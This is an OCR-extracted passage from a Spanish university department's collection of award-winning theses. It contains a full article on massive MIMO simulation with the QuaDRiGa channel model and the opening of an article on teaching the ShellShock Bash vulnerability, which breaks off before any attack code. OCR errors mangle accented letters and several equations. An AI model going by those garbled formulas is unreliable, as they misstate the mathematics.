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Presentacion

Un aifio mas, el Dpto. de Teoria de la Sefial, Telematica y Comunicaciones recoge en este libro
titulado "Teoria de la Sefial, Telemdtica y Comunicaciones: una aproximacion al conocimiento
a través de los Trabajos Fin de Grado y Fin de Mdster", el resumen de los Trabajos Fin de
Grado (TFG) y Trabajos fin de Master (TFM) mas relevantes que se han realizado en el seno
de este Departamento y que se presentaron a la cuarta convocatoria de los premios
correspondientes al curso 2015/2016. En esta edicidén se han seleccionado un total de 18
trabajos en el campo del procesado de sefial, las comunicaciones mdviles, las redes de
ordenadores y la ciberseguridad.

Es durante el desarrollo del TFG/TFM, cuando los alumnos, guiados por sus tutores, realmente
aprenden a plantear un problema, identificar unos objetivos, a utilizar una metodologia de
trabajo, a realizar una planificacion, la importancia de realizar un buen "estado del arte" del
asunto a tratar, a trabajar de forma auténoma vy a rectificar si es necesario. Esto es, el
TFG/TFM completa la formacién del alumno preparandolo para su inclusién en el mundo
laboral.

No me queda mds que agradecer a todos los alumnos y profesores la labor realizada, pues sin
ellos no hubiera sido posible esta nueva edicion.

Un saludo

M. Carmen

M. Carmen Benitez Ortuzar

Directora del Dpto. de Teoria de la Sefial, Telemdtica y Comunicaciones
ETS Ingenierias Informdtica y de Telecomunicacion

Universidad Granada
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Modelo Quasi-determinisita de un Canal Radio
para un Sistema de MIMO Masivo
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Resumen—MIMO masivo es una de las tecnologias clave en
el avance de la tecnologia hacia sistemas de comunicaciones
inalambricos cuyas especificaciones son cada vez mas exigentes.
La aplicacion de esta tecnologia implica la incorporacion del
orden de decenas o cientos de antenas en la estacion base de
un sistema inalambrico, donde reside toda la complejidad del
sistema, traduciéndose en una reduccion de la misma en el
plano del usuario. Ademds de la reduccion en complejidad,
aporta beneficios en términos de aumento de la velocidad de
transmision, la eficiencia energética y capacidad para servir
un mayor numero de usuarios en un mismo recurso tiempo-
frecuencia. En la mayoria de la bibliografia en la que describen
las caracteristicas de MIMO masivo emplean un canal de
transmision tedrico e ideal cuyas especificaciones distan, a priori,
de un entorno de propagacion real. El canal ideal consigue que
la interferencia entre usuarios sea nula siendo capaz, ademas,
de obtener velocidades de transmision éptimas con procesado
de sefial simple. Dado que el modelado de canal es, sin duda,
uno de los factores mas influyentes en el rendimiento de un
sistema inalambrico se tratara en este texto de evaluar mediante
simulacion las prestaciones de MIMO masivo con un modelo de
canal mas realista. Las realizaciones del canal se obtendran a
partir de un modelo de canal geométrico implementado por el
Instituto Fraunhofer denominado QuaDRiGa. Con este nuevo
modelo de canal se alcanza el objetivo principal del proyecto
que consiste en evaluar el rendimiento de los sistemas de MIMO
masivo en entornos de propagacion reales.

Palabras clave—condiciones favorables, eficiencia energética,
eficiencia espectrla, MIMO, MIMO masivo, modelado de canal,
procesamiento lineal, QuaDRiGa.

I. INTRODUCCION

L aumento de los servicios y funcionalidades que, medi-

ante la conexién a Internet, permiten al usuario disfrutar
de nuevos servicios en su términal moévil con requisitos cada
vez mas exigentes. Este avance unido a la gran variedad
de dispositivos conectados a la red como: mdviles, tablets,
portatiles... y la inclusién del Internet de las cosas y otras
nuevas tecnologias han provocado que el crecimiento del
trafico de datos haya crecido exponencialmente en los tltimos
afios. Segun Cisco, en el Ultimo afio mas de 500 millones
de dispositivos méviles fueron incorporados al nimero de
terminales conectados en todo el mundo. Desde el punto
de vista del trafico generado, Cisco estima que en el afio
2020 el trafico de datos mdviles por mes crecerd a un ritmo
acelerado llegando a multiplicar por un factor 8 del volumen
de datos generado en 2015. Atendiendo a estas imponentes
predicciones sin duda surge la necesidad de avanzar tec-
noldgicamente para satisfacer las demandas de los usuarios.

Uno de los pardmetros clave a mejorar es el throughput o
capacidad de la red. El throughput de una celda queda definido
por 3 factores: el ancho de banda disponible, la eficiencia
espectral y la densidad de la celda.

En consecuencia para mejorarlo es necesario o bien aumen-
tar el ancho de banda disponible, cuya tarea es practicamente
imposible en frecuencias por debajo de 6 GHz debido a la
cantidad de tecnologias que conviven en ese ancho de banda
del espectro; la eficiencia espectral del sistema o la densidad
de la celda donde se utilizan redes heterogéneas de gran
densidad. De las tres filosofias que se pueden aplicar para
conseguir aumentar la capacidad de una celda, en el texto
se estudiard aquella que lo consigue mediante el aumento
de la eficiencia espectral. Una de las tecnologias capaces de
aumentar la eficiecnia espectral de un sistema es MIMO. La
tecnologia MIMO como solucién es ya una realidad, de hecho,
estd presente en la actualidad en multitud de estandares de
comunicaciones inaldmbricas como IEEE 802.11, WiMAX
o LTE. Debido a los requisitos cada vez mds exigentes,
la comunidad cientifica debe de seguir mejorando buscando
nuevas alternativas que sean de capaces de cumplir con las
espeficicaciones. Es asi como surge MIMO masivo.

En este articulo se estudia la tecnologia de MIMO masivo
en entornos de propagacion realistas. Para ello, se comenzara
en la seccién II con la definiciéon y descripcion de las tec-
nologias MIMO y MIMO multi-usuario para, posteriormente,
continuar en la seccién III con MIMO masivo. En la seccién
IV se detallardn los algoritmos lineales implementados en
la simulacién y en la seccién V el modelo de canal de
entornos de propagacion realistas utilizado. Para finalizar
en las secciones VI y VII se incluyen los resultados y las
conclusiones y lineas futuras respectivamente.

Notacion

A lo largo del articulo se trabajard con matrices y vectores.
Para diferenciarlos, se utilizardn simbolos en mayuscula para
las matrices, H y en mindscula para los vectores, h ambos
en negrita. Los operadores matriciales (-)7, (-)*, (-)¥ hacen
referencia a la matriz traspuesta, conjugada y hermitica.
Mientras que || - || simboliza la norma de un vector. Ademds
la notacién a, representa el vector ¢ de la matriz A.

1I. MIMO Y MIMO MULTI-USUARIO

La tecnologia MIMO comenzé con lo que se conoce
como MIMO punto a punto donde transmisor y receptor
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son equipados con miiltiples antenas. Debido a las multiples
antenas, se utiliza una matriz de canal para representar los
desvanecimientos que sufre cada par de antenas transmisoras-
receptoras. La médxima capacidad que puede alcanzar un
sistema MIMO punto a punto fue definida por Telatar [1] y
posee el mismo significado fisico que la derivada por Shannon
para canales con ruido aditivo. Es decir, define la velocidad
de transmisiéon maxima que se puede alcanzar manteniendo la
probabilidad de error cercana a 0.

= max

Q>0: tr(Q)=1

La expresion anterior alcanza su limite superior cuando uno
de los extremos eleva a infinito su nimero de antenas. De
esto modo, surge la necesidad de preguntarse que ocurre si se
equipan con un gran nimero de antenas transmisor y receptor.

Dado que en los sistemas de comunicacién inaldmbrica
las transmisiones no estin limitadas a un dnico usuario y
un unico enlace surge lo que se denomina MIMO multi-
usuario. Habitualmente, el escenario mas comun en Sis-
temas inaldmbricos estd compuesto por varios terminales
moviles que simultineamente establecen comunicacién con
una estacion base. Ademas, a diferencia de MIMO punto a
punto, en un sistema multi-usuario se debe distinguir entre
el enlace ascendente y descendente. Se denotard con M el
nimero de antenas en la estacion base y con K el nimero de
usuarios en el sistema.

El inconveniente principal que surge al servir varios usuar-
ios a la vez es la denominada interferencia inter-usuario. Esta
interferencia es la causante en gran medida de la degradacion
del rendimiento de los sitemas MIMO multi-usuario y por
tanto se deben de buscar soluciones que sean capaces de
eliminarla.

En el enlace ascendente se utiliza una técnica denominada
cancelacion de interfencia sucesiva. En ella la estacion base
decodifica primero a un usuario ¢ considerando interferen-
cia a los K — 1 usuarios restantes. Cuando ese usuario
es decodificado, su sefial de informacién es substraida a
la sefial de informacién total recibida tras la transmision
de los K wusuarios. Este proceso se realiza iterativamente.
Para el caso del enlace descendente se utiliza un algoritmo
denominada Dirty Paper Coding (DPC) que, apoyidndose en
el conocimiento a priori del canal por parte de la estacion base,
realiza una codificacion de las sefiales transmitidas para cada
usuario de forma que la interferencia de los demds usuarios no
sea interpretada como tal para el usuario en cuestion. Estos
procedimientos son conocidos como algoritmos Optimos ya
que consiguen eliminar por completo la interferencia inter-
usuario sin embargo, son procesos complejos y practicamente
irrealizables.

C(H) logy [T, + pHQH™| (1)

A. Modelo de canal

La definicion de MIMO multi-usuario implica la dis-
tribucién de usuarios en una celda definida por su area de
covertura. El hecho de que cada usuario esté en una posicién
diferente implica la variacién del canal para cada uno. Asi,
ademds de modelar las pérdidas de propagacion a pequeiia
escala cuyos efectos son recogidos por la matriz H, se deben
de afiadir las pérdidas a gran escala cuyo efecto es recogido en

la matriz D. A lo largo del texto se denotard con G la matriz
que contiene ambos efectos, siendo su expresion analitica:

G = HD'? )

Donde la matriz D es una matriz diagonal de tamafio K
x K que contiene en su diagonal las contribuciones de los
desvanecimientos a gran escala de cada uno de los usuarios
donde se incluye tanto el path loss como el shadow fading
y H € CM*K es la matriz que contiene los desvanec-
imientos a pequefia escala de cada usuario con la estacién
base. Los elementos la matriz H se definen como variables
aleatorias complejas Gaussianas circularmente simétricas de
media nula y varianza unidad. Ademads, se consideran vari-
ables estadisticamente independientes, lo que se traduce en
correlacién nula entre cualquiera de los pares de antenas tanto
en transmisién como en recepcion. Todas estas caracteristicas
expuestas hacen referencia a un tipo de variables aleatorias
conocidas como independientes e idénticamente distribuidas
(i.i.d: ‘independent and identically distributed’). Este mode-
lado de H se conoce como i.i.d Rayleigh.

1. MIMO MASIVO

Una vez establecidos los conceptos de los sistemas MIMO
y su extensiéon a sistemas MIMO multi-usuario, el siguiente
paso es definir MIMO masivo y las ventajas que posee con
respecto a MIMO y MU-MIMO.

Un sistema se puede clasificar como MIMO masivo si
el nimero de antenas que se despliegan en uno o los dos
extremos de la comunicacién de un sistema MIMO es elevado.
En este proyecto se considerard como sistema MIMO masivo
todo sistema MU-MIMO donde la estacion base esté equipada
con un gran nimero de antenas, M, que podra variar entre de-
cenas y centenas, y varios usuarios, K, con una tnica antenas
donde la comunicacion se realiza de manera simultdnea sobre
el mismo recurso tiempo-frecuencia.

A. Condiciones favorables

En un sistema multi-usuario, el canal entre un terminal
y la estacién base es representado por un vector de M
dimensiones. Los K vectores que conforman la matriz de
canal global del sistema generalmente no son ortogonales
entre si por lo que procesado de sefial avanzado como el
utilizado en DPC se hace imprescindible para eliminar la
interferencia y conseguir el sum-rate maximo. Sin embargo,
se puede recurrir a las denominadas condiciones favorables
para reducir la complejidad del sistema cuando el nimero de
antenas en BS es alto [2]-[4].

El concepto de condiciones favorables es uno de los mas
utilizados en la bibliografia y serd una de las cuestiones a
tratar en las simulaciones. Las condiciones favorables suponen
que, si los coeficientes que modelan los desvanecimientos de
pequena escala de los diferentes usuarios son independientes,
los vectores de canal de cada usuario son asintéticamente
ortogonales cuando el niimero de antenas en la estacion base
crece indefinidamente [3]:

S
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Apoyéndose en las suposiciones de condiciones favorables
varios articulos de la bibliografia de MIMO masivo [4] de-
sarrollan el término G G de las expresiones de la capacidad
donde, teniendo en cuenta que los desvanecimientos a pequefia
escala son modelados mediante una matriz de coeficientes i.i.d
complejos Guassianos de media nula y varianza unidad, se
simplifique de la siguiente forma:

H H
G'G H'H DY?~D &

M>K

— pY/2
M>K
La suposicién de las condiciones favorables provoca que
la interferencia inter-usuario en un sistema multi-usuario
se desvanezca y la estaciéon base pueda comunicarse con
cada usuario alcanzando velocidades de transmisién maximas.
Ademais, el causa principal que consigue la aplicaciéon de
condiciones favorables es que los algoritmos lineales que
se verdn a continuacién consiguen rendimientos ptimos en
terminos de sum-rate, es decir, igualan las prestaciones de los
algoritmos 6ptimos mds complejos.

IV. ALGORITMOS LINEALES

En este apartado se detallardn los diferentes algoritmos
lineales a utilizar por parte de la estacion base. En ellos, no
se aplicard a priori las condiciones favorables.

Debido a la alta complejidad que supone la aplicacién
de los algoritmos Optimos se deben de buscar alternativas
que, si bien sean sub-6ptimas en términos de sum-rate al-
canzado, sean capaces de reducir la complejidad y el coste
computacional. De modo que su implementacién sea posible
en escenarios donde se haga frente a un nimero elevado de
antenas en la BS y de usuarios servidos simultdneamente.

La alternativa que se plantea es la utilizacién de algorit-
mos lineales implementados en la BS tanto para el enlace
descendente como el ascendente. En el enlace ascendente la
sefial recibida en la BS tras aplicar el algoritmo lineales,
también conocido como receptor lineal, es descompuesta en
K flujos de datos [Fig. 1]. Para el caso del enlace descendente,
tras emplear el algoritmo lineal o precodificador, la sefal a
transmistir consiste en una combinacidn lineal de los simbolos
destinados a los K usuarios servidos simultdneamente [5].

A. Detectores lineales

La aplicacién de detectores lineales para la decodificacién
de la sefial recibida por la BS en el canal ascendente consiste

j yul,l
= antenna1 TN
N < guL]& j yul,Z o
n - Detection [&——- —
8, €<— Yy o €— Malrix antenn:a 2
: i : (MXK) : —
S‘L eyul,K% =
j yul,M
% .....
antenna M

Fig. 1. Esquemitico del receptor lineal empleado en el enlace ascendente.

en realizar un post-procesado de la sefial mediante una matriz
de deteccion denotada como A. Esta matriz es la encargada
de descomponer la sefial recibida en K flujos de datos
correspondientes a cada usuario. Una vez es descompuesta la
seflal recibida, se realiza la decodificacion de la informacion
de cada usuario de forma independiente. La descomposicién
de la sefial recibida tras emplear la matriz A se puede expresar
analiticamente como:

gul = AHyul = pulAHGsul + AHnul (5)

El elemento ¢ del vector generado tras la aplicacién de
la matriz de deteccion, guz,q; cuyo valor es utilizado para
la deteccion del simbolo del usuario ¢, posee la siguiente
expresion:

K
Zjul,q =V pulaquqsq + V Pul Z akl-{gk:sk + a'Hnul (6)
—_—— krq ~—

componente deseada ruido térmico

interferencia inter-usuario
Puesto que ahora cada flujo consta de tres términos que
representan: la sefial deseada del usuario en cuestién, la
interferencia de los demads usuarios y el ruido aditivo; se define
la relacién sefial ruido a interferencia (SINR) del flujo ¢ como:
H_ |2
putlay g,

K
Put Xz lag! gl? + llagl?

El hecho de que aparezca un término de interferencia inter-
usuario es inherente a la aplicacion de algoritmos sub-6ptimos
los cuales son incapaces de eliminar por completo dicha
contribucién. Tras el calculo de la sINR de cada usuario el
sum-rate o eficiencia espectral queda definido como:

SINR, =

@)

K K
Riotar = Y Ry =Y logy(1+ SINR) ®)

q=1 q=1

Dependiendo del criterio utilizado para el disefio del recep-
tor lineal el valor del vector a, y, por tanto de la matriz A,
puede tomar diferentes valores. Los criterios utilizados para

el disefio de la matriz de deteccidn son:

o Maximum Ratio Combining: este criterio de disefio tiene
como objetivo maximinar la SNR recibida para cada flujo
de datos sin tener en cuenta la interferencia inter-usuario.
Para obtener la expresion del vector ¢ de la matriz A se
parte de la ecuacion (7), se desprecia la componente de
interferencia inter-usuario y se realiza la maximizacion
de la expresion:

MRC potencia componente deseada
a

=arg max ——
a a,e C Mot potencia ruido
H, |2
Pul |a’q gq‘
=arg max — o
a,e Mot lag]|
©))
Para conseguir la optimizacién se necesita que a, tome
el valor:
MRC _
a, =g, (10)

Una de las ventajas de MRC es el simple procesado de
sefial ya que la BS sélo debe de multiplicar el vector que
contiene la sefiales recibida por la matriz hermitica de la
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matriz de canal (G). Como punto negativo, dado que
MRC ignora el efecto de la interferencia inter-usuario,
se comporta peor en escenarios donde dicha componente
es predominante. Asi, la expresion de la SINR posee un
limite superior cuando p,; se hace tender a infinito.

e Zero forcing: a diferencia de MRC, este nuevo criterio
de disefio tiene en cuenta el efecto de la interferencia
inter-usuario pero, sin embargo, desatiende el impacto
del ruido en el sistema. Su objetivo es realizar una
inversién de la matriz de canal para que la interferencia
producida por los demds usuarios sea suprimida. Dicho
de otro modo, se necesita obtener una matriz A cuyo
resultado tras multiplicar por la matriz del canal consiga
una matriz diagonal de modo que la salida del filtro
ZF sea s6lo funcién del simbolo a detectar y del ruido.
Matematicamente, se busca la columna g de la matriz A
que cumpla que:

H
a:1.99q #0
agf’qgk = Oa v k 7é q

La matriz que satisface dicha restriccion para todos los
valores de g es la conocida como matriz pseudo-inversa
de H, también conocida como pseudo-inversa de Moore
Penrose. Dicha matriz se define como:

G =(G"q)ta” (11)

Asfi bien, comparado con MRC, este nuevo criterio para
el disefio del detector posee una mayor complejidad de
implementacién debido al cdlculo de la matriz pseudo
inversa de la matriz del canal. Sin embargo, como ventaja
con respecto a MRC, se comporta bien en escenarios
con interferencia inter-usuario elevada. Ademas, la SINR
de cada flujo puede hacer tan alta como se quiera
aumentando la potencia transmitida.

Dado que en el disefio de ZF no se tiene en cuenta el
ruido térmico, presenta bajos rendimientos en escenarios
donde el ruido es la componente limitante. Sin duda, la
mayor de las desventajas de Zero Forcing es lo que se
denomina ‘realce del ruido’. Este comportamiento debe
su origen al hecho de multiplicar el ruido original del
sistema por la matriz psedo-inversa del canal donde, en
ocasiones, se consigue que la potencia del ruido aditivo
de cada flujo aumente.

o Minimum Mean Square Error: A diferencia de los dos
criterios de disefio del receptor lineal vistos hasta ahora,
el receptor de Minimo Error Cuadratico Medio no busca
cancelar dnicamente el ruido aditivo o la interferencia
inter-usuario sino que busca minimizar la interferencia
que provocan ambos. Este tipo de receptor puede enten-
derse como una solucién 6ptima que mejora MRC y ZF.
El criterio de disefio utilizado para MMSE se basa en la
minimizacién del error cuadritico medio entre el vector
de sefiales transmitidas estimado, Ay, y el vector de
seflales transmitidas, s,;:

_ : H. 2
ApMsE == GTQAEIEIJ{}IKE[”A Yur — sII°]
K
_ : H 2
=arg  min Z;E[Iaq Yur — /]
o

(12)

Tras calcular derivada con respecto a a, e igualar a 0,
o en su defecto aplicar el principio de ortogonalidad, la
columna ¢ de la matriz de deteccién basada en MMSE
es:

—1
ayM MSE,q = \/Pul (pulHHH + IM) h, (13)

Una caracteristica destacar de MMSE es que se comporta
como un receptor lineal MRC el caso en el que la SNR
sea aproximada a 0. Asimismo, si la SNR se hace aprox-
imar a infinito, MMSE posee el mismo comportamiento
que ZF.

B. Precodificadores lineales

En el enlace descendente la BS utiliza técnicas lineales,
también denominadas precodificadores, para que la sefial
transmitida por las M antenas que componen el array trans-
misor (x4;) sea combinacidn lineal de los simbolos destinados
a los K usuarios que forman el escenario o aquellos que
hayan sido elegidos mediante técnicas de scheduling para ser
servidos simultdneamente.

De este modo, el vector precodificado a transmitir se define
como:

zgy = aWq

Siendo q = [q1, g2, ---, k] €l vector que contiene los simbolos
destinados a cada usuario sin precodificar y donde cada
simbolo posee una potencia igual a la unidad: E[|qx|?] = 1.
Ademds W € CM#K es la matriz de precodificacién cuyo
valor dependera del criterio de precodificacién empleado y
« el factor de normalizacién cuyo objetivo es mantener la
potencia de los simbolos a transmitir normalizada a la unidad
tras aplicar la precodificacion.

Asi, para mantener el valor de la potencia en el vector x
se necesita que el factor o tome el valor:

1
T B (ww)

(14)

15)

Al igual que con el enlace ascendente, la sefial recibida por
el usuario g es:

Ydi,q = \/szaquWq + 24

K
= VPai0gy wdq + /Pai Z Grwrgk+ 7z
—_——— ~—~

k#q

ruido térmico

(16)
De la expresion anterior se puede obtener de manera directa
el valor de la SINR que posee el usuario g:

componente deseada

interferencia inter-usuario

apalgtw,|?

K
QAPdl Z/wgq Igg’wfIQ +1

SINR, = (17)

Los precodificadores lineales que se utilizardn a lo largo
del proyecto siguen los mismos criterios de disefio que los
detectores lineales. Asi, el valor de la matriz de precodifi-
cacién variard su valor seglin se aplique: Maximum Ratio
Transmision (MRT), Zero Forcing (ZF) o Minimum Mean
Square Error (MMSE). Las expresiones se pueden consultar
en [5].
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V. QuADRIGA

QuaDRiGa (QUAsi Deterministic Radlo channel GenerA-
tor) es un modelo de canal fisico basado en geometria que
permite la creacion de canales radio de doble direccién para
diferentes configuraciones y surge como una evolucién del
modelo Wireless World Initiative for New Radio (WINNER).

Los parametros del canal son determinados de forma es-
tocastica donde las distribuciones de probabilidad son ex-
traidas de medidas de campo realizadas en diferentes esce-
narios. La aproximacién que utilizada QuaDRiGa puede ser
entendida como un modelo de trazado de rayos estadistico
donde los clusters son distribuidos aleatoriamente. Para cada
path, el modelo obtiene un dngulo de salida entre el transmisor
y el cluster, un angulo de llegada entre el receptor y el cluster
y una distancia de path total que se traduce en un delay,
7, de la sefial. Ademads cada clusters posee 20 componentes
denominadas sub-path. Para conocer mds detalles sobre el
funcionamiento de QuaDRiGa recomiendo su tutorial [6].

VI. SIMULACION Y RESULTADOS

En esta seccidn se presentaran las hipdtesis que se realizan
en el texto y cdmo se pretende realizar la simulacién para
comprobar su validez en entornos de propagacién mas realis-
tas. Para obtener los resultados ademds de emplear algunas de
las utilidades de QuaDRiGa para generar escenarios realistas
en diferentes situaciones, se trabajard también con realiza-
ciones del canal i.i.d Rayleigh para ser capaz de comparar
los resultados obtenidos en ambos casos. Este es, sin duda, el
principal objetivo del proyecto: comparar que los beneficios
que aporta MIMO masivo sobre la suposiciéon de canales
iid Rayleigh se mantienen en canales realistas. S6lo se
incluirdn en este articulo los resultados obtenidos para el
enlace descendente pudiendo consultar todos los resultados
en el texto completo del proyecto. Los scripts generados para
la realizacion de las simulaciones se pueden consultar en:
https://github.com/MaldonadoRoberto/Massive-MIMO-

A. Rendimiento de los detectores y precodificadores lineales

Una de las hipétesis presentadas en el texto afirma que
tanto los detectores como los precodificadores lineales poseen
un rendimiento similar al de técnicas no lineales, como las
utilizadas en DPC, beneficidndose asi de la menor compleji-
dad de los algoritmos lineales. Para comprobar esta cuestién
se calculard la capacidad del sistema en un escenario en el
que el ndmero de antenas en la estacién base ird aumentando
desde un nivel tipico de MIMO multi-usuario hasta niveles
que se consideren dentro del rango de MIMO masivo. En la
Fig. 2 se puede comprobar los resultados. Estos indican c6mo
efectivamente incluso en un entorno de propagacion real los
precodificadores lineales son capaces de comportarse igual
que DPC.

B. Condiciones favorables y correlacion entre usuarios

Como ya es sabido, cuando se utiliza un nimero elevado
de antenas en la estacién base se consigue una separacién
perfecta de los usuarios implicando que todos puedan ser
servidos simultinemente. Sin embargo, esta ventaja se apoya
en la hipétesis de las condiciones favorables de propagacion

SE frente a M en downlink

Eficiencia Espectral (bits/s/Hz)

i 1 1 i 1 i I i
10 20 30 40 50 50 70 B0 90 100 10
Mimero de antenas en BS ()

Fig. 2. Comparacion de la eficiencia espectral obtenida por los diferentes
precodificadores lineales con respecto a DPC para diferentes configuraciones
de antena en la BS. La simulacién se realiza sobre 8 usuarios con una SNR
de 5 dB.

en las que los usuarios del sistema poseen canales ortogonales
entre si. En la simulacion, se va a evaluar como de favorables
son los canales de los usuarios en un caso mas realista.

Una forma de comprobar si se cumplen las condiciones
favorables es comprobar la ortogonalidad que existe entre los
usuarios del sistema. Para ello se recurre al coeficiente de
correlacién que se define como:

R By
il

En este caso, los valores que puede tomar el coeficiente de
correlacién varian entre 0 y 1. Cuanto menor sea el coeficiente
de correlacion mas cerca se estard el escenario ideal en el que
el par de usuarios (i,j) puede ser servido simultineamente.
El procedimiento para conseguir obtener un coeficiente de
correlaciéon medio entre pares de canales de usuario serd
mediante la seleccién aleatoria de dos entre los K posibles
a lo largo de n repeticiones; donde en cada una de ellas se
obtiene J; ;. La obtencién de este coeficiente de correlacién
se realizard para diferentes valores del nimero de antenas
en BS para comprobar su influencia en la ortogonalidad de
los canales. Se mostrardn los resultados obtenidos para una
configuracién determinada en entornos con LOS y NLOS. El
valor de K se mantendra constante para todas las simulaciones
con un valor de 8 usuarios servidos en la celda situados
cercanos entre si tanto para NLOS como para LOS. Los
valores del coeficiente de correlacion en funcién del nimero
de antenas en BS se puede observar en la Fig. 3. Se puede
comprobar que cuanto mayor es el nimero de antenas en
la estacién base menor es la correlacién entre usuarios. En
cualquiera de los dos casos proporcionados por QuaDRiGa,
la correlaciéon entre usuarios es mayor con respecto a la
obtenida para el canal i.i.d Rayleigh. El mayor descenso de
la correlacion se produce hasta llegar a 100 antenas en la
estacién base donde el coeficiente se ve reducido en un 50%
con respecto al obtenido en una configuraciéon con M = 10.
La tendencia que experimenta el coeficiente de correlacion
cuando se aumenta el nimero de antenas es asintético si el

5 = (18)
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Fig. 3. Evolucién del coeficiente de correlacién frente el nimero de antenas
en la estacién base manteniendo el nimero de usuarios a 8.

numero de antenas se lleva a infinito.

C. Eficiencia energética

El ultimo aspecto que se evaluard serd la eficiencia en-
ergética la cual queda definida como:

Ai 1

— RA
Pul,dl

(19)
Donde R es la eficiencia espectral obtenida para cualquier
tipo de detector o precodificador cuyo tipo es denotado
por el subindice A y donde la potencia media transmitida
debe expresarse en (J/s). Para comprobar el rendiemiento
en términos de eficiencia energética se va a representar
la eficiencia espectral obtenida en funcién de la eficiencia
energética para dos configuraciones: una con 50 y otra con
100 antenas en la estacion base. Lagrafica denotada como
Fig. 4 muestra los resultados para el enlace descendente.
Se puede comprobar, tal y como se indica en la ecuacién
(19), la relacioén inversa de proporcionalidad que existe entre
ambas eficiencias. De modo que cuanto mayor es la eficiencia
espectral menor es la eficiencia energética. Ademds se puede
comprobar que los algoritmos de ZF y MMSE poseen un
mejor comportamiento a lo largo de todo el rango de eficiencia
espectral que MRT. Para valores bajos de eficiencia espectral
MRT se comporta mejor que ZF mientras que; en casos
donde la eficiencia espectral aumenta ZF se comporta mejor.
Asimismo, cuanto mayor nimero de antenas en la estacion
base mejor es la eficiencia energética. En el caso de MRT, por
ejemplo, para una eficiencia espectral de 20 bits/s/Hz en una
configuracién con 50 antenas en BS la eficiencia energética es
de 20 bits/J/Hz mientras que para el caso de M = 100 es de
50 bits/J/Hz. Es decir, en una estacion base con 100 antenas
transmitir 50 bits consume 1 J, mientras que con 50 antenas,
s6lo se transmiten 20 bits/J.

VII. CONCLUSIONES Y LINEAS FUTURAS

La conclusién principal del articulo es que los entornos
de propagacién real que simula QuaDRiGa mantienen las
ventajas de MIMO masivo que habian sido propuestas en

Comparativa entre la eficiencia espectral v la eficiencia energética para M =50 y M =100
10 Fr T e o T b
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Fig. 4. Eficiencia espectral frente a eficiencia energética para un sistema de
MIMO masivo en el canal descendente.

la teoria apoydndose en modelos de canal ideales. Se ha
podido comprobar cémo la eficiencia espectral que consiguen
los algoritmos lineales es muy similar a la obtenida con
algoritmos no lineales de mayor complejidad. Ademas, el
incremento del nimero de antenas en la estacidon base se
traduce en una mayor ortogonalidad de los usuarios. Por
dltimo, la eficiencia energética aumenta cuando se eleva el
nimero de antenas en la BS habilitando la implementacion
de tecnologias dependientes de la vida dtil de las baterias
como el Internet de las Cosas.

Con respecto a las lineas futuras, son multitud los caminos
que se pueden elegir. Personalmente, la continuacién de este
proyecto deberia comenzar con evitar algunas idealidades que
se han supuesto a lo largo del mismo. Por ejemplo, se ha
supuesto que tanto receptor como transmisor conocen perfec-
tamente el estado del canal y ademds de forma instantdnea
provocando resultados demasiado optimistas. De la mano
a esta mejora, surge el problema de la contaminacién por
portadoras piloto que provoca interferencia inter-celda. Este
fendmeno repercute negativamente en el rendimiento de los
sistemas MIMO masivo. Ademds, se tendrian que tener en
cuenta aspectos como el coupling entre antenas cuyo origen
viene definido por el uso de miiltiples antenas en la estacion
base en un espacio reducido. Tambien podrdan evaluarse otros
tipos de modelos de canal como el COST-2100.
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Resumen—Hoy en dia, existen continuos ataques a dispositivos
moviles o ordenadores, que alteran nuestra privacidad y que
originan gran preocupacion en nuestra sociedad. Es por ello que
se debe intentar dar la maxima informacion posible sobre estos
ataques y como es posible evitarlos o protegernos ante ellos.
Con dicho fin se presenta este articulo, donde se mostrara el
estudio e implementacion de la vulnerabilidad ShellShock, una
de las amenazas mas importantes de los ultimos afos. Dicha
tarea se llevara a cabo en un laboratorio para la docencia en
seguridad informatica, haciendo uso de dispositivos live-USB
para iniciar nuestros sistemas de trabajo con el fin de aumentar
la flexibilidad y desempeiio de las practicas docentes realizadas.
Por lo tanto, con este articulo se intenta dar a conocer mas sobre
esta vulnerabilidad, incluyendo un ejemplo practico donde se
realizara un ataque real en un entorno experimental creado.

Palabras
ShellShock

clave—Ciberseguridad, Docencia, Laboratorio,

I. INTRODUCCION

OY en dia, la ciberseguridad es uno de los principales

puntos en los que invertir y desarrollar de cara a reforzar
la privacidad y seguridad de los millones de personas que
hacen uso de las tecnologias de la informacién. Las predic-
ciones en materia de seguridad informdtica para un futuro
cercano, incitan a apostar por conseguir un ambito seguro en
el mundo de las telecomunicaciones, ya que estudios como el
del Laboratorio de ESET Espaiia [1], concluyen que existird
un aumento en diversos ataques informdticos y malware,
centrandose en ataques dirigidos al Internet de las cosas (IoT)
o sistemas de pago, entre otros.

En el presente articulo se pretende facilitar y motivar, desde
un punto de vista docente, a que un mayor nimero de personas
puedan realizar proyectos y trabajos en materia de cibersegu-
ridad adaptdndose a las limitadas condiciones de las insta-
laciones existentes. Por ello, y partiendo de la estructura de
los laboratorios actuales en la universidad ETSITT-UGR, se
llevard a cabo el estudio de uno de los bugs en seguridad mds
importantes de los dltimos afios, la vulnerabilidad ShellShock.
Para su estudio, nos basaremos en la estructura planteada en
nuestro trabajo previo [2], que presenta una propuesta para la
docencia basada en dispositivos Live-USB como herramientas
para inicio de sistemas operativos y disponiendo dentro de
estos de diferentes maquinas virtuales que aportan flexibilidad
a la distribucion fisica del laboratorio en el que se utilice este
sistema.

De este modo, se presentara un estudio detallado de dicho
fallo, con el objetivo de mostrar el potencial que este puede

llegar a alcanzar en multitud de dispositivos y la repercu-
sion que supuso hasta que fue detectado, consiguiendo una
repercusion igual o mayor que Heartbleed [3], un fallo de
seguridad que permitié que la informacién protegida por los
métodos de cifrado SSL/TLS pudiera ser robada, de modo que
cualquiera podia leer la memoria de los sistemas protegidos
por la versién de OpenSSL que fue afectada

El resto del articulo se estructura como sigue. En la Seccion
II, se exponen una serie de conceptos generales necesarios
para la comprensién del trabajo. Seguidamente, en la Seccién
I, se presenta un estudio detallado del origen y potencialidad
de la vulnerabilidad ShellShock, mientras que la aplicacién de
dicho ataque en un entorno experimental se llevado a cabo en
la Seccién IV. Por tltimo, en la Seccidén V se plantean algunas
conclusiones y unos posibles lineas de trabajo futuro.

II. CONCEPTOS GENERALES

La vulnerabilidad ShellShock [4] se encuentra en la eva-
luacién de las nuevas variables de entorno de la herramienta
Bash.

Bash [5] es el intérprete de comandos mas utilizado en Unix
y basado en éste también existe un lenguaje de programacion
de scripting que toma su mismo nombre. Normalmente, esta
herramienta es utilizada por los usuarios para la generacion
de shell scripts, con el fin de llevar a cabo una serie de tareas
determinadas. Sin embargo, Bash también es utilizada por
multitud de programas en segundo plano, realizando continuas
